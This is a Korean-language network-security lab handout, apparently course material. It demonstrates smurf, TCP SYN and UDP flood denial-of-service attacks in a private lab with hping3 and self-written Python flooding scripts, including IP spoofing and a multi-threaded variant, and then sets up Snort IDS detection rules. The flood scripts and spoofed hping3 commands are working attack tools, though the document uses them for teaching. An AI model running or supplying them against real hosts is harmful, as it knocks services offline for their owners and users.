        - victimNetwork: 공격 대상의 다이렉트 브로드캐스트주소
        - victimIP: 공격 대상의 IP주소
        - debug: 디버그 유무 (1: 디버그 모드, 0: 공격 모드)
        리턴값: 없음.
        """

        srcIP = victimNetwork
        dstIP = victimIP
        # hping3 200.200.200.255 -a 200.200.200.6 --icmp --flood
        smurfAttackCmd = f'hping3 {srcIP} -a {dstIP} --icmp --flood'

        if debug == '1':
            print(">>> 디버그 모드 <<<")
            print(smurfAttackCmd)
        else:
            print(">>> 공격 모드 <<<")
            os.system(smurfAttackCmd)

smurfAttack(victimNetwork, victimIP, debugMode)


[root@victim3 ~]# tcpdump -i ens33 icmp -nn

[root@kali ~]# chmod 755 dosAttack.py

[root@kali ~]# ./dosAttack.py 200.200.200.255 200.200.200.6 1
>>> 디버그 모드 <<<
hping3 200.200.200.255 -a 200.200.200.6 --icmp --flood


[root@kali bin]# ./dosAttack.py 200.200.200.255 200.200.200.6 0
>>> 공격 모드 <<<
HPING 200.200.200.255 (eth0 200.200.200.255): icmp mode set, 28 headers + 0 data bytes
hping in flood mode, no replies will be shown

[root@victim3 ~]# tcpdump -i ens33 icmp -nn
  :
  :(생략)
15:01:51.210373 IP 200.200.200.2 > 200.200.200.6: ICMP echo reply, id 16223, seq 50670, length 8
15:01:51.210374 IP 200.200.200.6 > 200.200.200.255: ICMP echo request, id 16223, seq 50926, length 8
15:01:51.210375 IP 200.200.200.2 > 200.200.200.6: ICMP echo reply, id 16223, seq 50926, length 8
15:01:51.210407 IP 200.200.200.6 > 200.200.200.255: ICMP echo request, id 16223, seq 51182, length 8
15:01:51.210437 IP 200.200.200.2 > 200.200.200.6: ICMP echo reply, id 16223, seq 51182, length 8
15:01:51.210439 IP 200.200.200.6 > 200.200.200.255: ICMP echo request, id 16223, seq 51438, length 8

TCP 상태 천이 다이어그램
https://cafe.naver.com/linuxmasternet/1813

실습> TCP SYN Flooding

Attacker가 Victim에게 TCP SYN 패킷을 무수히 보내서 Victim에 부하가 걸리게 하는 공격이다.

1. 웹서버 시작
[root@victim3 ~]# systemctl stop firewalld
[root@victim3 ~]# systemctl disable firewalld
[root@victim3 ~]# iptables -F
[root@victim3 ~]# systemctl start httpd

공격자 패킷을 분석하기 위해서 패킷을 모니터링한다.
[root@victim3 ~]# tcpdump -i ens33 port 80 -nn

2. 첫 번째 공격 시도
TCP: default mode 이므로 옵션을 따로 지정할 필요가 없다.
-S: SYN 패킷
-c: 카운트
-p: 포트 주소
[root@kali ~]# hping3 -S -c 10000 -p 80 200.200.200.6

공격에 의해서 서버는 부하가 걸린다.

3. 두 번째 공격 시도
TCP: default mode 이므로 옵션을 따로 지정할 필요가 없다.
-a: Source IP Address Spoofing
-S: SYN 패킷
-c: 카운트
-p: 포트 주소
[root@kali ~]# hping3 -a 200.200.200.1 -S -c 10000 -p 80 --flood 200.200.200.6

호스트 OS에서 작업관라자 > 성능 > VMnet8을 모니터링 한다.
패킷 처리량의 그래프의 변화되는 것을 확인한다.

4. 세 번째 공격 시도
네트워크 상태를 모니터링한다.
[root@victim3 ~]# netstat -nat 1

들어오는 패킷을 모니터링한다.
[root@victim3 ~]# tcpdump -i ens33 port 80 -nn


--rand-source: IP주소 랜덤화 (실제 외부로 SYN/ACK 패킷을 보내기 때문에 5초만 테스트 한다.)
[root@kali ~]# hping3 --rand-source -S -c 10000 -p 80 --flood 200.200.200.6
HPING 200.200.200.6 (eth0 200.200.200.6): S set, 40 headers + 0 data bytes
hping in flood mode, no replies will be shown
^C
--- 200.200.200.6 hping statistic ---
328467 packets transmitted, 0 packets received, 100% packet loss
round-trip min/avg/max = 0.0/0.0/0.0 ms

real	0m5.460s
user	0m0.119s
sys	0m5.225s

실제 공격자의 SYN 패킷을 받은 경우 아래와 같다. 
IP주소를 spoofing해서 들어왔기 때문에 SYN_RECV 가 표시가 된다.
[root@web#1 ~]# netstat -nat
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State      
tcp        0      0 200.200.200.6:53        0.0.0.0:*               LISTEN     
tcp        0      0 127.0.0.1:53            0.0.0.0:*               LISTEN     
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN     
tcp        0      0 127.0.0.1:25            0.0.0.0:*               LISTEN     
tcp        0      0 127.0.0.1:953           0.0.0.0:*               LISTEN     
tcp        0      0 127.0.0.1:6010          0.0.0.0:*               LISTEN     
tcp        0      0 127.0.0.1:6011          0.0.0.0:*               LISTEN     
tcp        0      0 127.0.0.1:6012          0.0.0.0:*               LISTEN     
tcp        0      0 0.0.0.0:111             0.0.0.0:*               LISTEN     
tcp        0      0 200.200.200.6:80        250.20.167.163:5231     SYN_RECV   
tcp        0      0 200.200.200.6:80        248.68.2.209:5121       SYN_RECV   
tcp        0      0 200.200.200.6:80        248.99.235.222:1865     SYN_RECV   
tcp        0      0 200.200.200.6:80        254.205.162.178:1848    SYN_RECV   
tcp        0      0 200.200.200.6:80        245.140.235.186:5717    SYN_RECV   
tcp        0      0 200.200.200.6:80        245.196.51.236:4441     SYN_RECV   
tcp        0      0 200.200.200.6:80        248.230.17.222:3632     SYN_RECV   
tcp        0      0 200.200.200.6:80        243.115.64.192:4992     SYN_RECV   
tcp        0      0 200.200.200.6:80        243.179.3.209:4969      SYN_RECV   
tcp        0      0 200.200.200.6:80        243.234.6.41:2088       SYN_RECV   
tcp        0      0 200.200.200.6:80        254.93.123.236:1918     SYN_RECV   
tcp        0      0 200.200.200.6:80        254.85.149.68:3675      SYN_RECV   
tcp        0      0 200.200.200.6:80        245.216.68.129:2675     SYN_RECV   
tcp        0      0 200.200.200.6:80        255.123.96.245:1733     SYN_RECV   
tcp        0      0 200.200.200.6:80        244.232.20.236:2900     SYN_RECV   
tcp        0      0 200.200.200.6:80        250.15.220.236:5140     SYN_RECV   
tcp        0      0 200.200.200.6:80        243.163.126.156:6257    SYN_RECV   
tcp        0      0 200.200.200.6:80        250.43.34.241:2516      SYN_RECV   
tcp        0      0 200.200.200.6:80        243.68.29.156:5299      SYN_RECV   
tcp        0      0 200.200.200.6:80        243.148.98.19:2734      SYN_RECV   
tcp        0      0 200.200.200.6:80        241.86.115.213:1785     SYN_RECV   
tcp        0      0 200.200.200.6:80        242.48.206.213:7245     SYN_RECV   
tcp        0      0 200.200.200.6:80        243.135.29.251:4129     SYN_RECV   
tcp        0      0 200.200.200.6:80        241.251.213.6:1837      SYN_RECV   
tcp        0      0 200.200.200.6:80        248.236.25.20:1622      SYN_RECV   
tcp        0      0 200.200.200.6:80        254.113.227.113:5180    SYN_RECV   
tcp        0      0 200.200.200.6:80        254.130.228.205:4737    SYN_RECV   
tcp        0      0 200.200.200.6:80        245.84.227.89:1669      SYN_RECV   
tcp        0      0 200.200.200.6:80        243.71.56.186:2770      SYN_RECV   
tcp        0      0 200.200.200.6:80        255.140.86.219:1619     SYN_RECV   
tcp        0      0 200.200.200.6:80        241.110.22.71:4538      SYN_RECV   
tcp        0      0 200.200.200.6:80        255.231.21.248:2390     SYN_RECV   
tcp        0      0 200.200.200.6:80        255.10.251.61:4758      SYN_RECV   
tcp        0      0 200.200.200.6:80        241.96.228.211:2496     SYN_RECV   
tcp        0      0 200.200.200.6:80        243.162.255.194:3332    SYN_RECV   
tcp        0      0 200.200.200.6:80        244.121.110.243:2111    SYN_RECV   
tcp        0      0 200.200.200.6:80        241.3.78.236:5015       SYN_RECV   
tcp        0      0 200.200.200.6:80        241.96.17.250:4592      SYN_RECV   
tcp        0      0 200.200.200.6:80        248.89.96.17:3745       SYN_RECV   
tcp        0      0 200.200.200.6:80        254.2.135.194:2910      SYN_RECV   
tcp        0      0 200.200.200.6:80        254.40.175.145:2487     SYN_RECV   
tcp        0      0 200.200.200.6:80        248.248.99.29:1963      SYN_RECV   
tcp        0      0 200.200.200.6:80        255.230.61.254:3305     SYN_RECV   
tcp        0      0 200.200.200.6:80        245.192.44.153:1520     SYN_RECV   
tcp        0      0 200.200.200.6:80        254.41.198.123:1605     SYN_RECV   
tcp        0      0 200.200.200.6:80        243.157.255.228:4802    SYN_RECV   
tcp        0      0 200.200.200.6:80        255.80.234.235:4307     SYN_RECV   
tcp        0      0 200.200.200.6:80        255.41.15.219:2983      SYN_RECV   
tcp        0      0 200.200.200.6:80        245.225.78.98:5600      SYN_RECV   
tcp        0      0 200.200.200.6:80        248.183.126.43:1889     SYN_RECV   
tcp        0      0 200.200.200.6:80        241.128.59.129:4423     SYN_RECV   
tcp        0      0 200.200.200.6:80        250.21.135.50:3592      SYN_RECV   
tcp        0      0 200.200.200.6:80        254.135.80.178:2498     SYN_RECV   
tcp        0      0 200.200.200.6:80        243.46.236.82:5595      SYN_RECV   
tcp        0      0 200.200.200.6:80        248.80.103.68:2873      SYN_RECV   
tcp        0      0 200.200.200.6:80        251.136.207.202:6260    SYN_RECV   
tcp        0      0 200.200.200.6:80        245.231.209.110:3945    SYN_RECV   
tcp        0      0 200.200.200.6:22        200.200.200.1:25785     ESTABLISHED
tcp        0      0 200.200.200.6:22        200.200.200.1:25101     ESTABLISHED
tcp        0      0 200.200.200.6:22        200.200.200.1:25554     ESTABLISHED
tcp6       0      0 ::1:53                  :::*                    LISTEN     
tcp6       0      0 :::22                   :::*                    LISTEN     
tcp6       0      0 :::8888                 :::*                    LISTEN     
tcp6       0      0 ::1:25                  :::*                    LISTEN     
tcp6       0      0 ::1:953                 :::*                    LISTEN     
tcp6       0      0 ::1:6010                :::*                    LISTEN     
tcp6       0      0 ::1:6011                :::*                    LISTEN     
tcp6       0      0 ::1:6012                :::*                    LISTEN     
tcp6       0      0 :::111                  :::*                    LISTEN     
tcp6       0      0 :::80                   :::*                    LISTEN     
^C

실습> 파이썬 프로그램으로 패킷 확인하기

[root@victim ~]# iptables -F
[root@victim ~]# iptables -A INPUT -p tcp --dport 80 -j ACCEPT
[root@victim ~]# yum -y install python3


[root@victim ~]# vi iptablesTest.py
#!/usr/bin/env python3
# 파일명: iptablesTest.py
# 프로그램 설명: iptables 모니터링
# 작성자: 리눅스마스터넷
# 작성일: 2023031601

import subprocess

# import os
# os.system('명령어')
# import subprocess
# subprocess.call('명령어')

# 변수 설정
count = 1
cmd = 'clear; iptables -nvL INPUT; sleep 1'
# cmd = 'watch iptables -nvL INPUT'


# 트래픽 초기화
subprocess.call('iptables -Z', shell=True)

while 1:
    try:
        subprocess.call(cmd, shell=True)
    # Ctrl + C 가 발생되면
    #except KeyboardInterrupt:  
    except:      # 또 다른 예외가 발생되서 모두 처리함.
        print() 
        break
    count += 1

#print('count: %d' %count)
#print('count: {}'.format(count))
print(f'count: {count}')

[root@victim ~]# chmod 755 iptablesTest.py
[root@victim ~]# ./iptablesTest.py

[root@kali ~]# hping3  -S -c 10000 -p 80 --flood 200.200.200.6
[root@victim ~]# ./iptablesTest.py 
  :
  :(생략)
Chain INPUT (policy ACCEPT 22 packets, 976 bytes)
 pkts bytes target     prot opt in     out     source               destination         
1151K   46M ACCEPT     tcp  --  *      *       0.0.0.0/0            0.0.0.0/0            tcp dpt:80
^C
count: 23

실습> TCP SYN flooding 공격 확인하기

1. 웹페이지 생성
[root@victim3 ~]# echo Welcome to 200.200.200.6 Serer. > /var/www/html/index.html 

2. 웹사이트 접속
공격자가 공격을 하지 않은 경우
http://200.200.200.6/
Welcome to 200.200.200.6 Serer.

공격자가 공격을 한 경우
테스트를 위해서 syncookies 를 비활성화 시킨다.
[root@victim3 ~]# echo 0 > /proc/sys/net/ipv4/tcp_syncookies 
[root@victim3 ~]# iptables -F
[root@victim3 ~]# tcpdump -i ens33 port 80 -nn


사용하지 않는 IP주소인 200.200.200.200으로 스푸핑해서 접속을 시도한다.
-S: SYN
-c 10000: 패킷 10,000개
-p 80: 80번 포트
--flood: 최대한 빠르게
200.200.200.6: victim
-a 200.200.200.200: 출발지 IP주소 200.200.200.200 스푸핑
[root@kali ~]# time hping3 -S -c 10000 -p 80 --flood 200.200.200.6 -a 200.200.200.200

TCP 상태를 확인하면 SYN_RECV가 출력되는 것을 확인할 수 있다.
[root@victim3 ~]# netstat -nat
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State      
tcp        0      0 200.200.200.6:53        0.0.0.0:*               LISTEN     
tcp        0      0 127.0.0.1:53            0.0.0.0:*               LISTEN     
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN     
tcp        0      0 127.0.0.1:25            0.0.0.0:*               LISTEN     
tcp        0      0 127.0.0.1:953           0.0.0.0:*               LISTEN     
tcp        0      0 127.0.0.1:6010          0.0.0.0:*               LISTEN     
tcp        0      0 127.0.0.1:6011          0.0.0.0:*               LISTEN     
tcp        0      0 127.0.0.1:6012          0.0.0.0:*               LISTEN     
tcp        0      0 127.0.0.1:6013          0.0.0.0:*               LISTEN     
tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN     
tcp        0      0 0.0.0.0:111             0.0.0.0:*               LISTEN     
tcp        0      0 200.200.200.6:80        200.200.200.200:2911    SYN_RECV   
tcp        0      0 200.200.200.6:80        200.200.200.200:2104    SYN_RECV   
tcp        0      0 200.200.200.6:80        200.200.200.200:2502    SYN_RECV   
tcp        0      0 200.200.200.6:80        200.200.200.200:2032    SYN_RECV   
tcp        0      0 200.200.200.6:80        200.200.200.200:2029    SYN_RECV   
tcp        0      0 200.200.200.6:80        200.200.200.200:2683    SYN_RECV   
tcp        0      0 200.200.200.6:80        200.200.200.200:2685    SYN_RECV   
tcp        0      0 200.200.200.6:80        200.200.200.200:2783    SYN_RECV   
tcp        0      0 200.200.200.6:80        200.200.200.200:2928    SYN_RECV   
tcp        0      0 200.200.200.6:80        200.200.200.200:2722    SYN_RECV   
tcp        0      0 200.200.200.6:80        200.200.200.200:2499    SYN_RECV   
tcp        0      0 200.200.200.6:80        200.200.200.200:2501    SYN_RECV   
tcp        0      0 200.200.200.6:80        200.200.200.200:2555    SYN_RECV   
tcp        0      0 200.200.200.6:80        200.200.200.200:2109    SYN_RECV   
tcp        0      0 200.200.200.6:80        200.200.200.200:3772    SYN_RECV   
  :
  :(생략)

load average: 시스템의 부하를 나타내는 평균값으로 1분, 5분, 15분 단의의 평균값을 표시한다.
[root@victim3 ~]# w
 12:44:04 up  3:54,  5 users,  load average: 0.63, 0.46, 0.25
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
root     tty1                      08:53    3:50m  0.01s  0.01s -bash
root     pts/0    200.200.200.1    12:39    4.00s  0.08s  0.05s w
root     pts/1    200.200.200.1    09:46    1:48  17.18s 16.97s tcpdump -i ens33 port 80 -nn
root     pts/2    200.200.200.1    10:16    2:07m  0.03s  0.03s -bash
root     pts/3    200.200.200.1    10:37    6:28   0.65s  0.00s sleep 1

tcpdump로 패킷을 확인해보면 200.200.200.200으로 패킷이 들어오는 것을 확인할 수 있다.
[root@victim3 ~]# tcpdump -i ens33 port 80 -nn
  :
  :(생략)
12:51:14.865460 IP 200.200.200.200.24512 > 200.200.200.6.80: Flags [S], seq 11378400, win 512, length 0
12:51:14.865509 IP 200.200.200.200.24513 > 200.200.200.6.80: Flags [S], seq 1397149784, win 512, length 0
12:51:14.865513 IP 200.200.200.200.24514 > 200.200.200.6.80: Flags [S], seq 1533344206, win 512, length 0
12:51:14.865565 IP 200.200.200.200.24519 > 200.200.200.6.80: Flags [S], seq 742954563, win 512, length 0
12:51:14.865570 IP 200.200.200.200.24520 > 200.200.200.6.80: Flags [S], seq 682209371, win 512, length 0
12:51:14.865641 IP 200.200.200.200.24525 > 200.200.200.6.80: Flags [S], seq 1930252330, win 512, length 0
12:51:14.865646 IP 200.200.200.200.24526 > 200.200.200.6.80: Flags [S], seq 1353693199, win 512, length 0
12:51:14.865647 IP 200.200.200.200.24527 > 200.200.200.6.80: Flags [S], seq 604095803, win 512, length 0
12:51:14.865648 IP 200.200.200.200.24528 > 200.200.200.6.80: Flags [S], seq 1010262610, win 512, length 0
12:51:14.865691 IP 200.200.200.200.24529 > 200.200.200.6.80: Flags [S], seq 1009856538, win 512, length 0
12:51:14.865703 IP 200.200.200.200.24530 > 200.200.200.6.80: Flags [S], seq 1254281219, win 512, length 0
12:51:14.865706 IP 200.200.200.200.24531 > 200.200.200.6.80: Flags [S], seq 983991207, win 512, length 0

syncookies 가 Off로 설정되어 있어서 바로 서버에서 받아들일 수 없는 상태가 된다.
http://200.200.200.6/

사이트에 연결할 수 없음200.200.200.6에서 응답하는 데 시간이 너무 오래 걸립니다.
다음 방법을 시도해 보세요.

연결 확인
프록시 및 방화벽 확인
Windows 네트워크 진단 프로그램 실행
ERR_CONNECTION_TIMED_OUT

3. 시각화 확인
호스트 OS에서 작업관리자 > 성능
CPU, 이더넷의 처리량을 확인한다.
[root@kali ~]# time hping3 -S -c 10000 -p 80 --flood 200.200.200.1 -a 200.200.200.200

4. 복구
테스트가 완료되면 sync cookies 를 다시 활성화시킨다.
echo 1 > /proc/sys/net/ipv4/tcp_syncookies 
[root@victmp ~]# sysctl net.ipv4.tcp_syncookies=1
[root@victmp ~]# sysctl net.ipv4.tcp_syncookies
net.ipv4.tcp_syncookies = 1

syncookies 기능이 On으로 설정한 후 서버로 접속하면 서버에서 받아들일 수 상태이므로 웹 페이지가 바로 뜬다.
http://200.200.200.6/
Welcome to 200.200.200.6 Serer.

실습> udp flooding

UDP flooding: 대역폭 고갈 공격

1. 공격 시도
[root@kali ~]# hping3 200.200.200.1 -a 200.200.200.200 -p 80 --udp --flood 

2. 시각화 확인
호스트 OS에서 작업관리자 > 성능 > CPU, 이더넷의 처리량을 확인한다.

실습> 파이썬으로 udp flooding 제작하기

1. 공격 코드 작성
[root@kali ~]# vi udpFlooding.py 
#!/usr/bin/env python3
# 파일명: udpFlooding.py
# 작성자: 리눅스 마스터넷

import socket
import random
import sys

# arguments count
argc = len(sys.argv)

if argc != 3:
    print(f'Usage: {sys.argv[0]} TargetIP Port')
    sys.exit(1)

target = sys.argv[1]
port   = int(sys.argv[2])
count  = 1

banner = """\
#########################
## UDP flooding Attack ##
#########################
UDP 패킷 전송중 ...
"""

s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
bytes = random._urandom(1024)

print(banner)

try:
    while 1:
        s.sendto(bytes, (target, port))
        print(f'sent packets: {count}\r', end='')
        count += 1
except:
    print()


[root@kali ~]# chmod 755 udpFlooding.py 
[root@kali ~]# ./udpFlooding.py 
Usage: ./udpFlooding.py TargetIP Port

[root@kali ~]# ./udpFlooding.py 200.200.200.1 80
#########################
## UDP flooding Attack ##
#########################
UDP 패킷 전송중 ...

sent packets: 190158

2. 시각화 확인
호스트 OS에서 작업관리자 > 성능 > CPU, 이더넷의 처리량을 확인한다.
CPU 100%

3. 패킷 전송 중지
[root@kali ~]# time ./udpFlooding.py 200.200.200.1 80
#########################
## UDP flooding Attack ##
#########################
UDP 패킷 전송중 ...

^Cnt packets: 11633065

real	10m38.861s
user	0m59.160s
sys	9m17.567s

실습> 멀티 쓰레드로 변환하기

참고 소스 udpFlooding.py -> udpFlooding2.py

1. 공격 코드 작성
[root@kali ~]# vi udpFlooding2.py 
#!/usr/bin/env python3
# 파일명: udpFlooding2.py
# 작성자: 리눅스 마스터넷

import socket
import random
import sys

# arguments count
argc = len(sys.argv)

if argc != 3:
    print(f'Usage: {sys.argv[0]} TargetIP Port')
    sys.exit(1)

target = sys.argv[1]
port   = int(sys.argv[2])

#  V 블럭 ->   > 
def udpFlooding():
    banner = """\
    #########################
    ## UDP flooding Attack ##
    #########################
    UDP 패킷 전송중 ...
    """

    count  = 1
    s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    bytes = random._urandom(1024)

    print(banner)
    print(target, port)


    try:
        while 1:
            s.sendto(bytes, (target, port))
            print(f'sent packets: {count}\r', end='')
            count += 1
    except:
        print()


import threading
attack1 = threading.Thread(target=udpFlooding)  # sub thread 
attack2 = threading.Thread(target=udpFlooding)  # sub thread 
attack1.start()
attack2.start()

udpFlooding()  # main thread


2. 시각화 확인
호스트 OS에서 작업관리자 > 성능 > CPU, 이더넷의 처리량을 확인한다.
CPU 100%

3. 공격 시도
[root@kali ~]# ./udpFlooding2.py 200.200.200.1 80




>>> bps, cps, BPS, pps 용어 <<<
bps(bit per second)
초당 전송되는 bit수, 2048kbps = 2048000bits의 데이터 전송을 의미

BPS(Byte per second)
초당 전송되는 Byte수, 2048kbps는 초당 2048000bits / 8 = 256000Bytes의 데이터 전송을 의미

cps(character per second)
초당 전송되는 Character(문자)의 수(한 문자는 8bits) BPS와 같은 의미

pps(Packet Per Second)
네트워크 성능 측정 단위, 1초 동안 보낼 수 있는 패킷 측정

1 Mbps 는 1,048,576 bps
2,048,000 bps 는 약 2 Mbps

1K (킬로) = 1024 -> 2의 10승
1M (메가) = 1024 * 1024 ->2의 20승
1G (기가) = 1024 * 1024 * 1024 ->2의 30승

💥💥💥💥💥💥💥💥
##########
📌 snort 📌
##########

http://snort.org/

참고 : https://ko.wikipedia.org/wiki/스노트
https://ko.wikipedia.org/wiki/호스트_기반_침입_탐지_시스템

IDS 종류 : NIDS, HIDS
-NIDS(네트워크 기반 IDS): 네트워크에 설치해서 지나가는 패킷들을 모두 검사
-HIDS(호스트 기반 IDS): 호스트에 설치해서 호스트로 들어온 패킷들을 모두 검사

snort 제작사 Cisco에서는 snort가 최신 공격패턴을 탐지할 수 있도록 룰셋을 만들어서 배포하며
룰셋은 커뮤니티 버전(무료), 일반가입자 버전(무료), 구독자 버전(유료) 3가지가 존재한다.
유료가입자는 기술 지원과 함께 바로 룰셋 업데이트를 적용 받지만 일반 사용자는 30일이 지난 후
동일한 룰셋을 다운받을 수 있다.)
Community rules : 커뮤니티 버전(무료)으로 누구나 다운로드 받을 수 있다.
Registered rules : 일반가입자 버전(무료)으로 회원등록 후 다운로드 받을 수 있다.
Subscriber rules : 구독자 버전(유료)으로 비용을 지불해야 다운로드 받을 수 있다.

local.rules 파일이 기본적으로 없으므로 룰 파일을 생성한다.
룰의 sid 숫자 범위
99 이하 : 시스템 내부에서 사용
100 ~ 1,000,000이하 : 외부에서 제작해서 배포하는 탐지 규칙에서 사용
1,000,001 이상 : 사용자가 탐지 규칙을 설정할 때 만들어서 사용

실습> Kali에서 snort 설치하기

[root@kali ~]# cat /etc/resolv.conf 
# Generated by NetworkManager
nameserver 168.126.63.1

Kali Linux update & upgrade
[root@kali ~]# apt-get -y update && apt-get -y upgrade && apt-get -y dist-upgrade

1. snort 설치
snort 를 설치한다.
[root@kali ~]# apt -y install snort
[root@kali ~]# which snort
/usr/sbin/snort
[root@kali ~]# snort --help
USAGE: snort [-options] <filter options>
Options:
        -A         Set alert mode: fast, full, console, test or none  (alert file alerts only)
                   "unsock" enables UNIX socket logging (experimental).

2. snort 룰 등록
[root@kali ~]# vi /etc/snort/rules/local.rules
alert icmp any any -> any any (msg:"ICMP ping test"; sid: 1000001;)

3. snort 실행
/etc/snort/snort.conf : snort 의 설정파일
[root@kali ~]# vi /etc/snort/snort.conf 
ipvar HOME_NET any
ipvar EXTERNAL_NET any

snort를 실행하기 전에 설정파일에 문제가 있는지 테스트한다.
-T : 설정파일 체크
설정파일에 문제가 없는 경우에는 successfully 메세지가 출력된다.
[root@kali ~]# snort -T -i eth0 -c /etc/snort/snort.conf 
  :
  :(생략)
Snort successfully validated the configuration!
Snort exiting

설정파일에 문제가 없는 경우에는 Fatal Error 메세지가 출력된다.
[root@kali ~]# snort -T -i eth0 -c /etc/snort/snort.conf 
Running in Test mode

        --== Initializing Snort ==--
Initializing Output Plugins!
Initializing Preprocessors!
Initializing Plug-ins!
Parsing Rules file "/etc/snort/snort.conf"
ERROR: /etc/snort/snort.conf(65) Invalid configuration line: abc

Fatal Error, Quitting..


snort를 실행해서 침입탐지 시스템을 가동한다.
-i : 인터페이스
-c : 설정파일
[root@kali ~]# snort -i eth0 -c /etc/snort/snort.conf 
  :
  :(생략)

4. ping 통신 확인
C:\Users\user1>ping 200.200.200.3

5. 접속 로그 확인
/var/log/snort/ 로그 디렉터리에 snort.alert.fast 파일에 기록된다.
[root@kali ~]# tail -f /var/log/snort/snort.alert.fast
03/02-21:31:04.205588  [**] [1:1000001:0] ICMP ping test [**] [Priority: 0] {ICMP} 200.200.200.1 -> 200.200.200.3
03/02-21:31:04.205603  [**] [1:1000001:0] ICMP ping test [**] [Priority: 0] {ICMP} 200.200.200.3 -> 200.200.200.1
03/02-21:31:05.221719  [**] [1:1000001:0] ICMP ping test [**] [Priority: 0] {ICMP} 200.200.200.1 -> 200.200.200.3
03/02-21:31:05.221734  [**] [1:1000001:0] ICMP ping test [**] [Priority: 0] {ICMP} 200.200.200.3 -> 200.200.200.1
03/02-21:31:06.238199  [**] [1:1000001:0] ICMP ping test [**] [Priority: 0] {ICMP} 200.200.200.1 -> 200.200.200.3
03/02-21:31:06.238217  [**] [1:1000001:0] ICMP ping test [**] [Priority: 0] {ICMP} 200.200.200.3 -> 200.200.200.1
03/02-21:31:07.249867  [**] [1:1000001:0] ICMP ping test [**] [Priority: 0] {ICMP} 200.200.200.1 -> 200.200.200.3
03/02-21:31:07.249883  [**] [1:1000001:0] ICMP ping test [**] [Priority: 0] {ICMP} 200.200.200.3 -> 200.200.200.1


룰을 변경해서 로그를 확인한다.

[root@kali ~]# vi /etc/snort/rules/local.rules
#alert icmp any any -> any any (msg:"ICMP ping test"; sid: 1000001;)
alert icmp 200.200.200.1 any -> any any (msg:"ICMP ping test"; sid: 1000005;)

[root@kali ~]# tail -f /var/log/snort/snort.alert.fast

[root@kali ~]# snort -q -i eth0 -c /etc/snort/snort.conf


C:\Users\user1>ping 200.200.200.3

Ping 200.200.200.3 32바이트 데이터 사용:
200.200.200.3의 응답: 바이트=32 시간<1ms TTL=64
200.200.200.3의 응답: 바이트=32 시간<1ms TTL=64
200.200.200.3의 응답: 바이트=32 시간<1ms TTL=64
200.200.200.3의 응답: 바이트=32 시간<1ms TTL=64

200.200.200.3에 대한 Ping 통계:
    패킷: 보냄 = 4, 받음 = 4, 손실 = 0 (0% 손실),
왕복 시간(밀리초):
    최소 = 0ms, 최대 = 0ms, 평균 = 0ms

[root@kali ~]# tail -f /var/log/snort/snort.alert.fast

03/02-21:37:04.198855  [**] [1:1000005:0] ICMP ping test [**] [Priority: 0] {ICMP} 200.200.200.1 -> 200.200.200.3
03/02-21:37:05.216602  [**] [1:1000005:0] ICMP ping test [**] [Priority: 0] {ICMP} 200.200.200.1 -> 200.200.200.3
03/02-21:37:06.233063  [**] [1:1000005:0] ICMP ping test [**] [Priority: 0] {ICMP} 200.200.200.1 -> 200.200.200.3
03/02-21:37:07.245918  [**] [1:1000005:0] ICMP ping test [**] [Priority: 0] {ICMP} 200.200.200.1 -> 200.200.200.3

실습> snort HIDS 기반 리눅스 설치

배포판: CentOS 7
VMname: snortHIDS
VMnetwork: VMnet8
HDD: 기본값 20G
파티션: 자동 파티션
IP Address: 200.200.200.101/24
Gateway: 200.200.200.2
DNS: 168.126.63.1
[x] Automatically connect

-- 실습 순서 --
1. EPEL 저장소 설치
2. 패키지 설치
3. 패키지 확인
4. snort 다운로드
5. 컴파일 및 설치
6. 설치 확인
7. rule 다운로드
8. 설정파일 수정
9. 사용자 계정 추가 및 권한설정
10. 룰 주석 설정
11. snort 설정 확인
12. 룰 설정 확인
13. 로그 확인
-- 실습 순서 --

*** 만약 CentOS 7 에서 설치하는 것은 http://snort.org 홈페이지에서 설치에 대한
*** 내용을 참고하면 된다.
*** 메인 -> Get Started -> CentOS 


-- iptables 룰 정책 --
# systemctl stop firewalld
# systemctl disable firewalld
# systemctl stop iptables 
# systemctl disable iptables 
-- iptables 룰 정책 --

1. EPEL 저장소 설치
EPEL(Extra Packages for Enterprise Linux) 저장소를 설치한다.
# yum -y install epel-release

2. 패키지 설치
snort 를 설치하기 위한 필요한 패키지를 설치한다.
# yum -y install gcc flex bison zlib zlib-devel libpcap libpcap-devel pcre pcre-devel libdnet libdnet-devel tcpdump
# yum -y install libpcap-devel libdnet libnet-devel

3. 패키지 확인
패키지들의 설치여부를 확인한다.
설치여부를 확인할 때 패키지가 설치되어 있지 않습니다라는 메세지가 나오면 설치를 해야한다.
# rpm -q gcc flex bison zlib zlib-devel libpcap libpcap-devel pcre pcre-devel libdnet libdnet-devel tcpdump

4. snort 다운로드
https://www.snort.org/#get-started 홈페이지에 설치에 대한 내용이 있음.

winscp로 아래 두 개의 파일을 리눅스 /root 디렉터리로 업로드한다.
daq-2.0.6.tar.gz
snort-2.9.11.1.tar.gz 

5. 컴파일 및 설치
/root 디렉터리에서 다운로드 받아서 설치를 진행한다.
--enable-sourcefire : 특정 빌드 옵션 사용(--enable-perfprofiling 과 --enable-ppm를 통합한 옵션)
--enable-ppm : 패킷 / 규칙 성능 모니터를 활성화
--enable-perfprofiling : 전 처리기 및 규칙 성능 프로파일링 사용

현재 시간을 설정하고 컴파일한다.
rdate 의 시간설정이 안되면 date 명령어서 시간을 설정한다.
# yum -y install rdate
# rdate -s time.bora.net

# tar xzf daq-2.0.6.tar.gz
# cd daq-2.0.6
# ./configure && make && make install
# cd ..

# tar xzf snort-2.9.11.1.tar.gz
# cd snort-2.9.11.1
# ./configure --enable-sourcefire && make && make install
# cd ..

# ls -l /usr/local/bin
합계 10312
-rwxr-xr-x. 1 root root      600  3월 17 12:06 daq-modules-config
-rwxr-xr-x. 1 root root 10483104  3월 17 12:08 snort
-rwxr-xr-x. 1 root root    26408  3월 17 12:08 u2boat
-rwxr-xr-x. 1 root root    36872  3월 17 12:08 u2spewfoo

6. 설치 확인
# snort -V

   ,,_     -*> Snort! <*-
  o"  )~   Version 2.9.11.1 GRE (Build 268) 
   ''''    By Martin Roesch & The Snort Team: http://www.snort.org/contact#team
